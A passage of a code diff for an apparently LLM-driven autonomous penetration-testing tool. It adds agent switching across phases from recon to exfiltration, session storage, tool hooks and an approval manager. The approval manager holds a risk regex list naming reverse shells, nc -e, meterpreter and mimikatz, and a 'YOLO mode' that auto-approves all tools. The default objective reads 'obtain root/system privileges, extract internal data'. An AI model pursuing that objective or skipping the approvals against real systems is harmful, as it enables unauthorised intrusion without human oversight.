2214
3162
  }
3163
+ /**
3164
+ * Automatically switch to the best agent for the current phase
3165
+ */
3166
+ autoSwitchAgentForPhase(phaseId) {
3167
+ const phaseToAgentMap = {
3168
+ [PHASE_ID.RECON]: "target-explorer",
3169
+ [PHASE_ID.SCAN]: "target-explorer",
3170
+ [PHASE_ID.ENUM]: "target-explorer",
3171
+ [PHASE_ID.VULN]: "exploit-researcher",
3172
+ [PHASE_ID.EXPLOIT]: "exploit-researcher",
3173
+ [PHASE_ID.PRIVESC]: "privesc-master",
3174
+ [PHASE_ID.PIVOT]: "privesc-master",
3175
+ [PHASE_ID.PERSIST]: "privesc-master",
3176
+ [PHASE_ID.EXFIL]: "forensics-analyst",
3177
+ [PHASE_ID.REPORT]: "finding-reviewer"
3178
+ };
3179
+ const agentName = phaseToAgentMap[phaseId];
3180
+ if (agentName) {
3181
+ const agent = getAgentByName(agentName);
3182
+ if (agent) {
3183
+ this.currentAgent = agent;
3184
+ this.emit(AGENT_EVENT.AGENT_SWITCH, { name: agent.name, description: agent.description });
3185
+ this.think(THOUGHT_TYPE.OBSERVATION, `Switched to ${agent.name} agent for ${phaseId} phase`);
3186
+ }
3187
+ }
3188
+ }
2215
3189
  // ===== Rabbit Hole Detection =====
2216
3190
  checkIfStuck() {
2217
3191
  const currentPhase = this.getCurrentPhase();
@@ -2324,6 +3298,7 @@ What went wrong and what different approach should be tried?
2324
3298
  }
2325
3299
  this.state.status = AGENT_STATUS.RUNNING;
2326
3300
  this.setPhaseStatus(PHASE_ID.RECON, PHASE_STATUS.IN_PROGRESS);
3301
+ this.autoSwitchAgentForPhase(PHASE_ID.RECON);
2327
3302
  const mainObjective = objective || `
2328
3303
  Target ${this.state.target.primary} - performing full penetration test.
2329
3304
  Goal: Deep penetration to obtain root/system privileges, extract internal data, map entire network.
@@ -2380,6 +3355,22 @@ Goal: Deep penetration to obtain root/system privileges, extract internal data,
2380
3355
  async executeStep() {
2381
3356
  const contextPrompt = this.buildContextPrompt();
2382
3357
  this.think(THOUGHT_TYPE.PLAN, "Deciding next action...");
3358
+ const contextStatus = this.contextManager.checkStatus(this.state.history);
3359
+ if (contextStatus.warning) {
3360
+ this.think(THOUGHT_TYPE.OBSERVATION, `Context at ${(contextStatus.percentage * 100).toFixed(1)}% capacity`);
3361
+ }
3362
+ if (contextStatus.needsCompaction) {
3363
+ this.think(THOUGHT_TYPE.PLAN, "Compacting context...");
3364
+ const compactResult = await this.contextManager.compactIfNeeded(this.state.history);
3365
+ if (compactResult.wasCompacted && compactResult.result) {
3366
+ this.state.history = compactResult.messages;
3367
+ this.emit(AGENT_EVENT.CONTEXT_COMPACTED, compactResult.result);
3368
+ this.think(
3369
+ THOUGHT_TYPE.OBSERVATION,
3370
+ `Context compacted: ${compactResult.result.compactionRatio.toFixed(2)}x reduction`
3371
+ );
3372
+ }
3373
+ }
2383
3374
  const historyMessages = this.state.history.map(toMessageParam);
2384
3375
  const messages = [
2385
3376
  ...historyMessages,
@@ -2387,15 +3378,26 @@ Goal: Deep penetration to obtain root/system privileges, extract internal data,
2387
3378
  ];
2388
3379
  let systemPrompt = AUTONOMOUS_HACKING_PROMPT;
2389
3380
  if (this.currentAgent) {
2390
- systemPrompt = buildAgentPrompt(this.currentAgent, systemPrompt);
3381
+ systemPrompt = buildAgentSystemPrompt(systemPrompt, this.currentAgent);
2391
3382
  }
2392
- const response = await this.client.messages.create({
2393
- model: CLAUDE_MODEL,
2394
- max_tokens: CLAUDE_MAX_TOKENS,
2395
- system: systemPrompt,
2396
- tools: this.tools,
2397
- messages
2398
- });
3383
+ const response = await withRetry(
3384
+ () => this.client.messages.create({
3385
+ model: CLAUDE_MODEL,
3386
+ max_tokens: CLAUDE_MAX_TOKENS,
3387
+ system: systemPrompt,
3388
+ tools: this.tools,
3389
+ messages
3390
+ }),
3391
+ {
3392
+ maxRetries: 3,
3393
+ onRetry: (attempt, error, delay) => {
3394
+ this.think(
3395
+ THOUGHT_TYPE.STUCK,
3396
+ `API retry ${attempt}/3 after ${delay}ms: ${error.message}`
3397
+ );
3398
+ }
3399
+ }
3400
+ );
2399
3401
  return this.processResponse(response);
2400
3402
  }
2401
3403
  buildContextPrompt() {
@@ -2449,7 +3451,13 @@ Use report_finding tool for important discoveries.
2449
3451
  this.trackAction(actionKey);
2450
3452
  this.think(THOUGHT_TYPE.ACTION, `[tool] Tool execution: ${toolName}`);
2451
3453
  this.emit(AGENT_EVENT.TOOL_CALL, { id: block.id, name: toolName, input: toolInput });
3454
+ const hookCheck = await this.hookExecutor.checkPreToolUse(toolName, toolInput);
3455
+ if (hookCheck.decision === "block") {
3456
+ this.think(THOUGHT_TYPE.STUCK, `Tool blocked by hook: ${hookCheck.output}`);
3457
+ continue;
3458
+ }
2452
3459
  const result = await executeToolCall(toolName, toolInput);
3460
+ await this.hookExecutor.runPostToolUse(toolName, result.output || "");
2453
3461
  const resultType = result.success ? "result" : "result";
2454
3462
  this.think(
2455
3463
  resultType,
@@ -2648,6 +3656,100 @@ ${this.state.findings.filter((f) => f.severity !== "info").map((f) => `- Address
2648
3656
  this.resetStuckCounter();
2649
3657
  this.emit(AGENT_EVENT.HINT_RECEIVED, hint);
2650
3658
  }
3659
+ // ===== Interactive Chat =====
3660
+ /**
3661
+ * Process user chat message and generate AI response
3662
+ * This is the main method for interactive TUI conversations
3663
+ */
3664
+ async chat(userMessage) {
3665
+ this.think(THOUGHT_TYPE.PLAN, `Processing: ${userMessage}`);
3666
+ this.state.history.push({
3667
+ role: "user",
3668
+ content: userMessage
3669
+ });
3670
+ try {
3671
+ const systemPrompt = this.buildContextualPrompt();
3672
+ const response = await this.client.messages.create({
3673
+ model: CLAUDE_MODEL,
3674
+ max_tokens: CLAUDE_MAX_TOKENS,
3675
+ system: systemPrompt,
3676
+ messages: this.state.history,
3677
+ tools: this.tools
3678
+ });
3679
+ let textResponse = "";
3680
+ let hasToolCalls = false;
3681
+ for (const block of response.content) {
3682
+ if (block.type === "text") {
3683
+ textResponse += block.text;
3684
+ this.emit(AGENT_EVENT.RESPONSE, block.text);
3685
+ } else if (block.type === "tool_use") {
3686
+ hasToolCalls = true;
3687
+ this.emit(AGENT_EVENT.TOOL_CALL, { name: block.name, input: block.input });
3688
+ const result = await executeToolCall(block.name, block.input);
3689
+ this.emit(AGENT_EVENT.TOOL_RESULT, { name: block.name, result });
3690
+ this.state.history.push({
3691
+ role: "assistant",
3692
+ content: response.content
3693
+ });
3694
+ this.state.history.push({
3695
+ role: "user",
3696
+ content: [{
3697
+ type: "tool_result",
3698
+ tool_use_id: block.id,
3699
+ content: typeof result === "string" ? result : JSON.stringify(result)
3700
+ }]
3701
+ });
3702
+ }
3703
+ }
3704
+ if (hasToolCalls && response.stop_reason === "tool_use") {
3705
+ const followUp = await this.client.messages.create({
3706
+ model: CLAUDE_MODEL,
3707
+ max_tokens: CLAUDE_MAX_TOKENS,
3708
+ system: systemPrompt,
3709
+ messages: this.state.history,
3710
+ tools: this.tools
3711
+ });
3712
+ for (const block of followUp.content) {
3713
+ if (block.type === "text") {
3714
+ textResponse += block.text;
3715
+ this.emit(AGENT_EVENT.RESPONSE, block.text);
3716
+ }
3717
+ }
3718
+ this.state.history.push({
3719
+ role: "assistant",
3720
+ content: followUp.content
3721
+ });
3722
+ } else if (!hasToolCalls) {
3723
+ this.state.history.push({
3724
+ role: "assistant",
3725
+ content: textResponse
3726
+ });
3727
+ }
3728
+ this.think(THOUGHT_TYPE.RESULT, "Response generated");
3729
+ return textResponse;
3730
+ } catch (error) {
3731
+ const errMsg = error instanceof Error ? error.message : "Unknown error";
3732
+ this.emit(AGENT_EVENT.ERROR, error);
3733
+ this.think(THOUGHT_TYPE.STUCK, `Error: ${errMsg}`);
3734
+ return `Error: ${errMsg}`;
3735
+ }
3736
+ }
3737
+ /**
3738
+ * Build a context-aware prompt for chat interactions
3739
+ */
3740
+ buildContextualPrompt() {
3741
+ const targetInfo = this.state.target.primary ? `Current target: ${this.state.target.primary}` : "No target set";
3742
+ const phaseInfo = `Current phase: ${this.state.currentPhase}`;
3743
+ const findingsInfo = `Findings so far: ${this.state.findings.length}`;
3744
+ return `You are an autonomous penetration testing AI assistant.
3745
+ ${targetInfo}
3746
+ ${phaseInfo}
3747
+ ${findingsInfo}
3748
+
3749
+ Available tools: ${this.tools.map((t) => t.name).join(", ")}
3750
+
3751
+ Respond helpfully to the user's message. If they ask to perform security testing actions, use the appropriate tools. Always explain what you're doing and why.`;
3752
+ }
2651
3753
  // ===== Pause/Resume =====
2652
3754
  pause() {
2653
3755
  this.state.status = AGENT_STATUS.PAUSED;
@@ -2664,7 +3766,430 @@ ${this.state.findings.filter((f) => f.severity !== "info").map((f) => `- Address
2664
3766
  this.state = this.createInitialState();
2665
3767
  this.emit(AGENT_EVENT.RESET);
2666
3768
  }
3769
+ // ===== Integration Methods =====
3770
+ /**
3771
+ * Get the system prompt for external streaming
3772
+ */
3773
+ getSystemPrompt() {
3774
+ let systemPrompt = AUTONOMOUS_HACKING_PROMPT;
3775
+ if (this.currentAgent) {
3776
+ systemPrompt = buildAgentSystemPrompt(systemPrompt, this.currentAgent);
3777
+ }
3778
+ return systemPrompt;
3779
+ }
3780
+ /**
3781
+ * Get tools array for external use
3782
+ */
3783
+ getTools() {
3784
+ return this.tools;
3785
+ }
3786
+ /**
3787
+ * Execute a tool directly (for streaming integration)
3788
+ */
3789
+ async executeToolDirect(toolName, toolInput) {
3790
+ this.think(THOUGHT_TYPE.ACTION, `Executing tool: ${toolName}`);
3791
+ const hookResult = await this.hookExecutor.checkPreToolUse(toolName, toolInput);
3792
+ if (hookResult.decision === "block") {
3793
+ this.think(THOUGHT_TYPE.OBSERVATION, `Tool blocked by hook: ${hookResult.reason}`);
3794
+ return {
3795
+ success: false,
3796
+ output: `Tool blocked: ${hookResult.reason}`,
3797
+ duration: 0
3798
+ };
3799
+ }
3800
+ const result = await executeToolCall(toolName, toolInput);
3801
+ await this.hookExecutor.runPostToolUse(toolName, result.output);
3802
+ this.think(THOUGHT_TYPE.RESULT, `Tool ${toolName} result: ${result.output.substring(0, 200)}...`);
3803
+ this.emit(AGENT_EVENT.TOOL_RESULT, { name: toolName, result });
3804
+ return result;
3805
+ }
3806
+ /**
3807
+ * Get history for session persistence
3808
+ */
3809
+ getHistory() {
3810
+ return this.state.history;
3811
+ }
3812
+ /**
3813
+ * Get all findings
3814
+ */
3815
+ getFindings() {
3816
+ return this.state.findings;
3817
+ }
3818
+ /**
3819
+ * Get credentials
3820
+ */
3821
+ getCredentials() {
3822
+ return this.state.credentials;
3823
+ }
3824
+ /**
3825
+ * Get compromised hosts
3826
+ */
3827
+ getCompromisedHosts() {
3828
+ return this.state.compromisedHosts;
3829
+ }
3830
+ };
3831
+
3832
+ // src/core/session/session-manager.ts
3833
+ import * as fs3 from "fs/promises";
3834
+ import * as path3 from "path";
3835
+ import { EventEmitter as EventEmitter4 } from "events";
3836
+ var SESSIONS_DIR = ".pentesting/sessions";
3837
+ function generateSessionId() {
3838
+ const timestamp = Date.now().toString(36);
3839
+ const random = Math.random().toString(36).substring(2, 8);
3840
+ return `session_${timestamp}_${random}`;
3841
+ }
3842
+ var SessionManager = class extends EventEmitter4 {
3843
+ sessionsDir;
3844
+ currentSession = null;
3845
+ constructor(baseDir) {
3846
+ super();
3847
+ this.sessionsDir = path3.join(baseDir || process.cwd(), SESSIONS_DIR);
3848
+ }
3849
+ /**
3850
+ * Initialize sessions directory
3851
+ */
3852
+ async initialize() {
3853
+ try {
3854
+ await fs3.mkdir(this.sessionsDir, { recursive: true });
3855
+ } catch {
3856
+ }
3857
+ }
3858
+ /**
3859
+ * Create a new session
3860
+ */
3861
+ async createSession(objective, target) {
3862
+ await this.initialize();
3863
+ const now = (/* @__PURE__ */ new Date()).toISOString();
3864
+ const metadata = {
3865
+ id: generateSessionId(),
3866
+ createdAt: now,
3867
+ updatedAt: now,
3868
+ objective,
3869
+ target,
3870
+ currentPhase: "reconnaissance",
3871
+ status: "active"
3872
+ };
3873
+ this.currentSession = metadata;
3874
+ const sessionDir = path3.join(this.sessionsDir, metadata.id);
3875
+ await fs3.mkdir(sessionDir, { recursive: true });
3876
+ await this.saveMetadata(metadata);
3877
+ this.emit("session_created", metadata);
3878
+ return metadata;
3879
+ }
3880
+ /**
3881
+ * Save session metadata
3882
+ */
3883
+ async saveMetadata(metadata) {
3884
+ const metadataPath = path3.join(this.sessionsDir, metadata.id, "metadata.json");
3885
+ await fs3.writeFile(metadataPath, JSON.stringify(metadata, null, 2));
3886
+ }
3887
+ /**
3888
+ * Save full session snapshot
3889
+ */
3890
+ async saveSnapshot(snapshot) {
3891
+ if (!this.currentSession) {
3892
+ throw new Error("No active session");
3893
+ }
3894
+ const sessionDir = path3.join(this.sessionsDir, this.currentSession.id);
3895
+ this.currentSession.updatedAt = (/* @__PURE__ */ new Date()).toISOString();
3896
+ this.currentSession.currentPhase = snapshot.state.currentPhase;
3897
+ await this.saveMetadata(this.currentSession);
3898
+ const statePath = path3.join(sessionDir, "state.json");
3899
+ await fs3.writeFile(statePath, JSON.stringify(snapshot.state, null, 2));
3900
+ const configPath = path3.join(sessionDir, "config.json");
3901
+ await fs3.writeFile(configPath, JSON.stringify(snapshot.config, null, 2));
3902
+ const historyPath = path3.join(sessionDir, "history.jsonl");
3903
+ const historyLine = JSON.stringify({
3904
+ timestamp: this.currentSession.updatedAt,
3905
+ iteration: snapshot.state.iteration,
3906
+ phase: snapshot.state.currentPhase
3907
+ }) + "\n";
3908
+ await fs3.appendFile(historyPath, historyLine);
3909
+ this.emit("snapshot_saved", this.currentSession.id);
3910
+ }
3911
+ /**
3912
+ * Load a session by ID
3913
+ */
3914
+ async loadSession(sessionId) {
3915
+ try {
3916
+ const sessionDir = path3.join(this.sessionsDir, sessionId);
3917
+ const metadataPath = path3.join(sessionDir, "metadata.json");
3918
+ const metadataContent = await fs3.readFile(metadataPath, "utf-8");
3919
+ const metadata = JSON.parse(metadataContent);
3920
+ const statePath = path3.join(sessionDir, "state.json");
3921
+ const stateContent = await fs3.readFile(statePath, "utf-8");
3922
+ const state = JSON.parse(stateContent);
3923
+ const configPath = path3.join(sessionDir, "config.json");
3924
+ let config = {};
3925
+ try {
3926
+ const configContent = await fs3.readFile(configPath, "utf-8");
3927
+ config = JSON.parse(configContent);
3928
+ } catch {
3929
+ }
3930
+ this.currentSession = metadata;
3931
+ this.emit("session_loaded", metadata);
3932
+ return { metadata, state, config };
3933
+ } catch {
3934
+ return null;
3935
+ }
3936
+ }
3937
+ /**
3938
+ * List all sessions
3939
+ */
3940
+ async listSessions() {
3941
+ await this.initialize();
3942
+ try {
3943
+ const entries = await fs3.readdir(this.sessionsDir, { withFileTypes: true });
3944
+ const sessions = [];
3945
+ for (const entry of entries) {
3946
+ if (entry.isDirectory()) {
3947
+ try {
3948
+ const metadataPath = path3.join(this.sessionsDir, entry.name, "metadata.json");
3949
+ const content = await fs3.readFile(metadataPath, "utf-8");
3950
+ const metadata = JSON.parse(content);
3951
+ sessions.push({
3952
+ id: metadata.id,
3953
+ objective: metadata.objective,
3954
+ target: metadata.target,
3955
+ status: metadata.status,
3956
+ updatedAt: metadata.updatedAt
3957
+ });
3958
+ } catch {
3959
+ }
3960
+ }
3961
+ }
3962
+ sessions.sort(
3963
+ (a, b) => new Date(b.updatedAt).getTime() - new Date(a.updatedAt).getTime()
3964
+ );
3965
+ return sessions;
3966
+ } catch {
3967
+ return [];
3968
+ }
3969
+ }
3970
+ /**
3971
+ * Get most recent session
3972
+ */
3973
+ async getRecentSession() {
3974
+ const sessions = await this.listSessions();
3975
+ if (sessions.length === 0) return null;
3976
+ return this.loadSession(sessions[0].id);
3977
+ }
3978
+ /**
3979
+ * Delete a session
3980
+ */
3981
+ async deleteSession(sessionId) {
3982
+ try {
3983
+ const sessionDir = path3.join(this.sessionsDir, sessionId);
3984
+ await fs3.rm(sessionDir, { recursive: true });
3985
+ this.emit("session_deleted", sessionId);
3986
+ return true;
3987
+ } catch {
3988
+ return false;
3989
+ }
3990
+ }
3991
+ /**
3992
+ * Mark current session as completed/failed
3993
+ */
3994
+ async endSession(status) {
3995
+ if (!this.currentSession) return;
3996
+ this.currentSession.status = status;
3997
+ this.currentSession.updatedAt = (/* @__PURE__ */ new Date()).toISOString();
3998
+ await this.saveMetadata(this.currentSession);
3999
+ this.emit("session_ended", { id: this.currentSession.id, status });
4000
+ this.currentSession = null;
4001
+ }
4002
+ /**
4003
+ * Get current session
4004
+ */
4005
+ getCurrentSession() {
4006
+ return this.currentSession;
4007
+ }
4008
+ };
4009
+ var sessionManager = null;
4010
+ function getSessionManager() {
4011
+ if (!sessionManager) {
4012
+ sessionManager = new SessionManager();
4013
+ }
4014
+ return sessionManager;
4015
+ }
4016
+
4017
+ // src/core/approval/approval-manager.ts
4018
+ import { EventEmitter as EventEmitter5 } from "events";
4019
+ var APPROVAL_EVENT = {
4020
+ REQUEST: "approval_request",
4021
+ RESPONSE: "approval_response",
4022
+ TIMEOUT: "approval_timeout"
4023
+ };
4024
+ var CRITICAL_TOOLS = [
4025
+ "execute_command",
4026
+ "write_file",
4027
+ "delete_file",
4028
+ "modify_file",
4029
+ "send_request",
4030
+ "exploit_execute"
4031
+ ];
4032
+ var HIGH_RISK_PATTERNS = [
4033
+ /rm\s+-rf/i,
4034
+ /mkfs/i,
4035
+ /dd\s+if=/i,
4036
+ /format/i,
4037
+ /shutdown/i,
4038
+ /reboot/i,
4039
+ /kill\s+-9/i,
4040
+ /pkill/i,
4041
+ /iptables/i,
4042
+ /ufw/i,
4043
+ /firewall/i,
4044
+ /passwd/i,
4045
+ /useradd/i,
4046
+ /userdel/i,
4047
+ /chmod\s+777/i,
4048
+ /chown/i,
4049
+ /sudo/i,
4050
+ /su\s+-/i,
4051
+ /nc\s+-e/i,
4052
+ /bash\s+-i/i,
4053
+ /reverse.*shell/i,
4054
+ /bind.*shell/i,
4055
+ /meterpreter/i,
4056
+ /mimikatz/i
4057
+ ];
4058
+ function assessRisk(toolName, toolInput) {
4059
+ const inputStr = JSON.stringify(toolInput).toLowerCase();
4060
+ for (const pattern of HIGH_RISK_PATTERNS) {
4061
+ if (pattern.test(inputStr)) {
4062
+ return "critical";
4063
+ }
4064
+ }
4065
+ if (CRITICAL_TOOLS.includes(toolName)) {
4066
+ return "high";
4067
+ }
4068
+ if (toolName.includes("script") || toolName.includes("exec")) {
4069
+ return "medium";
4070
+ }
4071
+ if (toolName.includes("scan") || toolName.includes("request")) {
4072
+ return "medium";
4073
+ }
4074
+ return "low";
4075
+ }
4076
+ function generateRequestId() {
4077
+ return `approval_${Date.now()}_${Math.random().toString(36).substring(2, 8)}`;
4078
+ }
4079
+ var ApprovalManager = class extends EventEmitter5 {
4080
+ pendingRequests = /* @__PURE__ */ new Map();
4081
+ autoApprovedTools = /* @__PURE__ */ new Set();
4082
+ autoDeniedTools = /* @__PURE__ */ new Set();
4083
+ yoloMode = false;
4084
+ defaultTimeout = 6e4;
4085
+ // 1 minute
4086
+ constructor(options) {
4087
+ super();
4088
+ this.yoloMode = options?.yoloMode ?? false;
4089
+ this.defaultTimeout = options?.timeout ?? 6e4;
4090
+ }
4091
+ /**
4092
+ * Enable/disable YOLO mode (auto-approve everything)
4093
+ */
4094
+ setYoloMode(enabled) {
4095
+ this.yoloMode = enabled;
4096
+ this.emit("yolo_mode_changed", enabled);
4097
+ }
4098
+ /**
4099
+ * Check if approval is required for a tool call
4100
+ */
4101
+ requiresApproval(toolName, toolInput) {
4102
+ if (this.yoloMode) return false;
4103
+ if (this.autoApprovedTools.has(toolName)) return false;
4104
+ if (this.autoDeniedTools.has(toolName)) return true;
4105
+ const risk = assessRisk(toolName, toolInput);
4106
+ if (risk === "low") return false;
4107
+ return true;
4108
+ }
4109
+ /**
4110
+ * Request approval for a tool call
4111
+ */
4112
+ async requestApproval(toolName, toolInput, reason) {
4113
+ if (this.autoDeniedTools.has(toolName)) {
4114
+ return "deny";
4115
+ }
4116
+ if (this.autoApprovedTools.has(toolName)) {
4117
+ return "approve";
4118
+ }
4119
+ const risk = assessRisk(toolName, toolInput);
4120
+ const request = {
4121
+ id: generateRequestId(),
4122
+ toolName,
4123
+ toolInput,
4124
+ reason: reason || `Tool "${toolName}" requires approval (${risk} risk)`,
4125
+ riskLevel: risk,
4126
+ timestamp: (/* @__PURE__ */ new Date()).toISOString()
4127
+ };
4128
+ this.pendingRequests.set(request.id, request);
4129
+ this.emit(APPROVAL_EVENT.REQUEST, request);
4130
+ return new Promise((resolve) => {
4131
+ const timeout = setTimeout(() => {
4132
+ this.pendingRequests.delete(request.id);
4133
+ this.emit(APPROVAL_EVENT.TIMEOUT, request.id);
4134
+ resolve("deny");
4135
+ }, this.defaultTimeout);
4136
+ const responseHandler = (response) => {
4137
+ if (response.requestId === request.id) {
4138
+ clearTimeout(timeout);
4139
+ this.pendingRequests.delete(request.id);
4140
+ this.removeListener(APPROVAL_EVENT.RESPONSE, responseHandler);
4141
+ if (response.decision === "approve_always") {
4142
+ this.autoApprovedTools.add(toolName);
4143
+ resolve("approve");
4144
+ } else if (response.decision === "deny_always") {
4145
+ this.autoDeniedTools.add(toolName);
4146
+ resolve("deny");
4147
+ } else {
4148
+ resolve(response.decision);
4149
+ }
4150
+ }
4151
+ };
4152
+ this.on(APPROVAL_EVENT.RESPONSE, responseHandler);
4153
+ });
4154
+ }
4155
+ /**
4156
+ * Respond to an approval request (called by UI)
4157
+ */
4158
+ respond(requestId, decision) {
4159
+ const response = {
4160
+ requestId,
4161
+ decision,
4162
+ respondedAt: (/* @__PURE__ */ new Date()).toISOString()
4163
+ };
4164
+ this.emit(APPROVAL_EVENT.RESPONSE, response);
4165
+ }
4166
+ /**
4167
+ * Get pending requests
4168
+ */
4169
+ getPendingRequests() {
4170
+ return Array.from(this.pendingRequests.values());
4171
+ }
4172
+ /**
4173
+ * Get auto-approved tools
4174
+ */
4175
+ getAutoApprovedTools() {
4176
+ return Array.from(this.autoApprovedTools);
4177
+ }
4178
+ /**
4179
+ * Reset all auto decisions
4180
+ */
4181
+ resetAutoDecisions() {
4182
+ this.autoApprovedTools.clear();
4183
+ this.autoDeniedTools.clear();
4184
+ }
2667
4185
  };
4186
+ var approvalManager = null;
4187
+ function getApprovalManager(options) {
4188
+ if (!approvalManager) {
4189
+ approvalManager = new ApprovalManager(options);
4190
+ }
4191
+ return approvalManager;
4192
+ }
2668
4193
 
2669
4194
  // src/config/theme.ts
2670
4195
  var THEME = {
@@ -2760,7 +4285,10 @@ var App = ({ autoApprove = false, target }) => {
2760
4285
  const [isProcessing, setIsProcessing] = useState(false);
2761
4286
  const [currentStatus, setCurrentStatus] = useState("");
2762
4287
  const [elapsedTime, setElapsedTime] = useState(0);
4288
+ const [pendingApproval, setPendingApproval] = useState(null);
2763
4289
  const [agent] = useState(() => new AutonomousHackingAgent(void 0, { autoApprove }));
4290
+ const sessionManager2 = getSessionManager();
4291
+ const approvalManager2 = getApprovalManager({ yoloMode: autoApprove });
2764
4292
  const startTimeRef = useRef(0);
2765
4293
  const timerRef = useRef(null);
2766
4294
  const addMessage = useCallback((type, content, duration) => {
@@ -2789,6 +4317,9 @@ var App = ({ autoApprove = false, target }) => {
2789
4317
  }, []);
2790
4318
  useEffect(() => {
2791
4319
  addMessage(MESSAGE_TYPE.SYSTEM, "Pentesting Agent initialized. Type /help for commands.");
4320
+ if (autoApprove) {
4321
+ addMessage(MESSAGE_TYPE.SYSTEM, "\u26A0\uFE0F YOLO mode: Auto-approving all tools");
4322
+ }
2792
4323
  if (target) {
2793
4324
  agent.setTarget(target);
2794
4325
  addMessage(MESSAGE_TYPE.SYSTEM, `Target: ${target}`);
@@ -2812,6 +4343,12 @@ var App = ({ autoApprove = false, target }) => {
2812
4343
  agent.on(AGENT_EVENT.FINDING, (finding) => {
2813
4344
  addMessage(MESSAGE_TYPE.SYSTEM, `\u{1F3AF} [${finding.severity.toUpperCase()}] ${finding.title}`);
2814
4345
  });
4346
+ agent.on(AGENT_EVENT.PHASE_CHANGE, (data) => {
4347
+ addMessage(MESSAGE_TYPE.SYSTEM, `\u{1F4CD} Phase: ${data.phaseId}`);
4348
+ });
4349
+ agent.on(AGENT_EVENT.CONTEXT_COMPACTED, () => {
4350
+ addMessage(MESSAGE_TYPE.SYSTEM, "\u{1F4BE} Context compacted to save tokens");
4351
+ });
2815
4352
  agent.on(AGENT_EVENT.COMPLETE, () => {
2816
4353
  const duration = stopTimer();
2817
4354
  addMessage(MESSAGE_TYPE.SYSTEM, `\u2713 Complete (${duration}s)`);
@@ -2823,13 +4360,32 @@ var App = ({ autoApprove = false, target }) => {
2823
4360
  addMessage(MESSAGE_TYPE.ERROR, error.message);
2824
4361
  setIsProcessing(false);
2825
4362
  });
4363
+ approvalManager2.on(APPROVAL_EVENT.REQUEST, (req) => {
4364
+ setPendingApproval({
4365
+ id: req.id,
4366
+ toolName: req.toolName,
4367
+ riskLevel: req.riskLevel
4368
+ });
4369
+ addMessage(MESSAGE_TYPE.SYSTEM, `\u26A0\uFE0F APPROVAL NEEDED: ${req.toolName} (${req.riskLevel} risk)`);
4370
+ addMessage(MESSAGE_TYPE.SYSTEM, ` ${req.reason}`);
4371
+ addMessage(MESSAGE_TYPE.SYSTEM, " Type /approve or /deny");
4372
+ });
2826
4373
  return () => {
2827
4374
  if (timerRef.current) clearInterval(timerRef.current);
2828
4375
  };
2829
- }, [agent, target, addMessage, stopTimer]);
4376
+ }, [agent, target, addMessage, stopTimer, autoApprove, approvalManager2]);
2830
4377
  const handleSubmit = useCallback(async (value) => {
2831
4378
  const trimmed = value.trim();
2832
- if (!trimmed || isProcessing) return;
4379
+ if (!trimmed) return;
4380
+ if (pendingApproval && (trimmed === "/approve" || trimmed === "/deny" || trimmed === "/y" || trimmed === "/n")) {
4381
+ const decision = trimmed === "/approve" || trimmed === "/y" ? "approve" : "deny";
4382
+ approvalManager2.respond(pendingApproval.id, decision);
4383
+ addMessage(MESSAGE_TYPE.SYSTEM, decision === "approve" ? "\u2713 Approved" : "\u2717 Denied");
4384
+ setPendingApproval(null);
4385
+ setInput("");
4386
+ return;
4387
+ }
4388
+ if (isProcessing && !trimmed.startsWith("/")) return;
2833
4389
  setInput("");
2834
4390
  addMessage(MESSAGE_TYPE.USER, trimmed);
2835
4391
  if (trimmed.startsWith("/")) {
@@ -2840,11 +4396,15 @@ var App = ({ autoApprove = false, target }) => {
2840
4396
  addMessage(
2841
4397
  MESSAGE_TYPE.SYSTEM,
2842
4398
  `/target <ip> Set target
2843
- /start [goal] Start pentest
4399
+ /start [goal] Start autonomous pentest
2844
4400
  /stop Stop operation
2845
4401
  /findings Show findings
4402
+ /sessions List saved sessions
4403
+ /resume [id] Resume session
4404
+ /yolo Toggle auto-approve
2846
4405
  /clear Clear screen
2847
- /exit Exit`
4406
+ /exit Exit
4407
+ /approve /deny Approve/deny tool (during approval)`
2848
4408
  );
2849
4409
  return;
2850
4410
  case CLI_COMMAND.TARGET:
@@ -2858,11 +4418,18 @@ var App = ({ autoApprove = false, target }) => {
2858
4418
  return;
2859
4419
  case CLI_COMMAND.START:
2860
4420
  case "s":
4421
+ if (!agent.getState().target.primary) {
4422
+ addMessage(MESSAGE_TYPE.ERROR, "Set target first: /target <ip>");
4423
+ return;
4424
+ }
2861
4425
  setIsProcessing(true);
2862
4426
  startTimer();
2863
4427
  const objective = args.join(" ") || "Perform comprehensive penetration testing";
2864
4428
  setCurrentStatus("Initializing...");
4429
+ addMessage(MESSAGE_TYPE.SYSTEM, `\u{1F680} Starting: ${objective}`);
2865
4430
  try {
4431
+ const session = await sessionManager2.createSession(objective, agent.getState().target.primary);
4432
+ addMessage(MESSAGE_TYPE.SYSTEM, `\u{1F4C1} Session: ${session.id}`);
2866
4433
  await agent.runAutonomous(objective);
2867
4434
  } catch (e) {
2868
4435
  addMessage(MESSAGE_TYPE.ERROR, e instanceof Error ? e.message : String(e));
@@ -2884,9 +4451,44 @@ var App = ({ autoApprove = false, target }) => {
2884
4451
  if (findings.length === 0) {
2885
4452
  addMessage(MESSAGE_TYPE.SYSTEM, "No findings.");
2886
4453
  } else {
4454
+ addMessage(MESSAGE_TYPE.SYSTEM, `--- ${findings.length} Findings ---`);
2887
4455
  findings.forEach((f) => addMessage(MESSAGE_TYPE.SYSTEM, `[${f.severity}] ${f.title}`));
2888
4456
  }
2889
4457
  return;
4458
+ case "sessions":
4459
+ try {
4460
+ const sessions = await sessionManager2.listSessions();
4461
+ if (sessions.length === 0) {
4462
+ addMessage(MESSAGE_TYPE.SYSTEM, "No saved sessions.");
4463
+ } else {
4464
+ addMessage(MESSAGE_TYPE.SYSTEM, `--- ${sessions.length} Sessions ---`);
4465
+ sessions.slice(0, 5).forEach(
4466
+ (s) => addMessage(MESSAGE_TYPE.SYSTEM, `${s.id.slice(-8)} | ${s.target} | ${s.status}`)
4467
+ );
4468
+ }
4469
+ } catch {
4470
+ addMessage(MESSAGE_TYPE.ERROR, "Failed to list sessions");
4471
+ }
4472
+ return;
4473
+ case "resume":
4474
+ try {
4475
+ const session = args[0] ? await sessionManager2.loadSession(args[0]) : await sessionManager2.getRecentSession();
4476
+ if (session) {
4477
+ agent.setTarget(session.metadata.target);
4478
+ addMessage(MESSAGE_TYPE.SYSTEM, `Resumed: ${session.metadata.objective}`);
4479
+ addMessage(MESSAGE_TYPE.SYSTEM, `Target: ${session.metadata.target}`);
4480
+ } else {
4481
+ addMessage(MESSAGE_TYPE.ERROR, "No session found");
4482
+ }
4483
+ } catch {
4484
+ addMessage(MESSAGE_TYPE.ERROR, "Failed to resume session");
4485
+ }
4486
+ return;
4487
+ case "yolo":
4488
